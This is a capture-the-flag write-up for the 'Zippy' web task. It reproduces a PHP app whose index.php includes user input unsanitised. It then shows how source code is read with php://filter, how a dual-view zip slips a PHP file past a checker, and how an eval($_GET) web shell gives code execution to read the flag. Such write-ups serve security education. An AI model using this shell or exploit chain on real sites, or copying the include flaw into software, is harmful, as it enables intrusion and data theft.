12-03-2020 / Ctf

Confidence Dragonsector CTF - Zippy Web 300 Writeup

Below you can find my solution for Zippy task from Confidence Dragonsector CTF.

Task source code:

File: index.php

<!doctype html>
<html>
<head>
  <meta charset="utf-8">
  <title>ZipExplorer</title>
  
  <link rel="stylesheet" href="/assets/bootstrap.min.css" />
  <script src="/assets/jquery.min.js"></script>
  <script src="/assets/bootstrap.min.js"></script>
</head>
<body>
  <div>
    <div class="container">
      <div class="row">
        <div>
          <nav class="navbar navbar-default">
            <div class="container">
              <div class="navbar-header">
                <a class="navbar-brand" href="/">ZipExplorer</a>
              </div>
              <div class="navbar-collapse collapse">
                <ul class="nav navbar-nav">
                  <li>
                    <a href="/?p=upload">Upload</a>
                  </li>
                  <li>
                    <a href="/?p=files">Your files</a>
                  </li>
                </ul>
              </div>
            </div>
          </nav>
          <div>
<?php
session_start();

if (!isset($_SESSION['files'])) {
  $_SESSION['files'] = array();
}

if (isset($_GET['p'])) {
  $page = $_GET['p'];
} else {
  $page = 'upload';
}

include($page . '.php');

?>
          </div>
        </div>
      </div>
    </div>
  </div>
</body>
</html>

File: upload.php

<?php

function zip_ok($path) {
  return pclose(popen("./zipcheck " . escapeshellarg($path), "r")) == 0;
}

function random_id($len=40) {
  return bin2hex(openssl_random_pseudo_bytes($len));
}

$fn = random_id() . '.zip';
$dst = './uploads/' . $fn;

if (isset($_FILES['zip'])) {
  $name = $_FILES['zip']['name'];
  $tmp = $_FILES['zip']['tmp_name'];

  if (is_uploaded_file($tmp) && zip_ok($tmp) && move_uploaded_file($tmp, $dst)) {

    array_push($_SESSION['files'], array('name' => $name, 'path' => $fn));
?>


<div class="alert alert-success alert-dismissible" role="alert">
Upload succesful! View <a href="?p=show&f=<?= $fn; ?>"><?= htmlspecialchars($name); ?></a>
</div>
<?php
  } else {
?>
<div class="alert alert-danger alert-dismissible" role="alert">
  Upload failed!
</div>
<?php
  }
}
?>
<h2>Upload</h2>
<form enctype="multipart/form-data" class="form-horizontal" action="?p=upload" method="POST">
  <div class="form-group">
    <label for="zip"  class="col-sm-2 control-label">Upload ZIP</label>
    <div class="col-sm-3">
      <input type="file" name="zip" id="zip" class="form-control">
    </div>
  </div>
  <div class="form-group">
    <div class="col-sm-3 col-sm-offset-2">
      <button type="submit" class="btn btn-default">Upload</button>
    </div>
  </div>
</form>

File: files.php

<h2>Your files</h2>
<?php
if (count($_SESSION['files']) > 0) {
?>
<table class="table table-striped table-bordered table-condensed table-hover">
  <thead>
    <tr>
      <td>No</td>
      <td>File</td>
    </tr>
  </thead>
  <tbody>
<?php
  foreach ($_SESSION['files'] as $index => $file) {
?>
  <tr>
    <td>
      <?= $index + 1; ?>
    </td>
    <td>
      <a href="?p=show&f=<?= $file['path']; ?>"><?= htmlspecialchars($file['name']); ?></a>
    </td>
  </tr>
<?php
  }
?>
  </tbody>
</table>
<?php
} else {
?>
<p>No uploaded files yet...</p>
<?php
}
?>

File: show.php

<?php

$uploads = './uploads/';

if (isset($_GET['f'])) {
  $zip = new ZipArchive;
  $res = $zip->open($uploads . $_GET['f']);

  if ($res === TRUE) {
?>
<table class="table table-striped table-bordered table-condensed table-hover">
  <thead>
    <tr>
      <td>No</td>
      <td>Filename</td>
      <td>Size</td>
      <td>Size Compressed</td>
      <td>CRC</td>
      <td>Timestamp</td>
    </tr>
  </thead>
  <tbody>
<?php
    for ($i = 0; $i < $zip->numFiles; $i++) {
      $entry = $zip->statIndex($i);
?>
    <tr>
      <td><?= $i+1; ?></td>
      <td><?= htmlspecialchars($entry['name']); ?></td>
      <td><?= $entry['size']; ?></td>
      <td><?= $entry['comp_size']; ?></td>
      <td><?= dechex($entry['crc']); ?></td>
      <td><?= date(DATE_RFC2822, $entry['mtime']); ?></td>
    </tr>
<?php
    }
?>
  </tbody>
</table>
<?php
    $zip->close();
  } else {
?>
<div class="alert alert-danger" role="alert">
  Error opening file! Does it exist?
</div>
<?php
  }
} else {
?>
<div class="alert alert-danger" role="alert">
  Error opening file! Does it exist?
</div>
<?php
}
?>

How we get task source code? Because of include($page . '.php'); line we can download it using PHP wrapper http://task.url/?p=php://filter/convert.base64-encode/resource=file_to_download.

We can upload any file and it’s checked by zipcheck binary. Unfortunately we cannot download this binary and also we don’t have access to uploads directory. After few tries we notice that uploaded file needs to be valid .zip archive.

Also there couldn’t by any file with .php extension inside this archive. Why we need .php file inside archive? Because we can include it using another PHP wrapper: zip://our_uploaded_file.zip#php_file.

Sadly we cannot combine two zip wrappers together like: zip://zip://first_file.zip#second_file.zip#php_file. So we need to find a way to upload valid .zip file which has one .php file inside readably by zip:// wrapper and this name cannot be visible for zipcheck binary. It’s possible because each zip extractor can treat stream differently.

For this task we use abstract.zip from Gynvael Coldwind Ten Thousand Traps. You can download our final payload here. When you open this file inside WinRar or Total Commander only readme_EndFirst.txt file is visible.

But when you open it using show.php it displays readme_StartFirst.php. Inside this file we have:

<?php
eval($_GET['dlc']);
?>

so we can execute any PHP command. Final solution looks like this:

// Print all files from dir
http://task.url/?p=zip://uploads/our_upoaded_file.zip%23readme_StartFirst&dlc=foreach (glob("*") as $a) print $a;

// Print flag file content
http://task.url/?p=zip://uploads/our_upoaded_file.zip%23readme_StartFirst&dlc=echo file_get_contents(%27flag_77d02e109e0580f44ea68643110c57e31af40e89.php%27);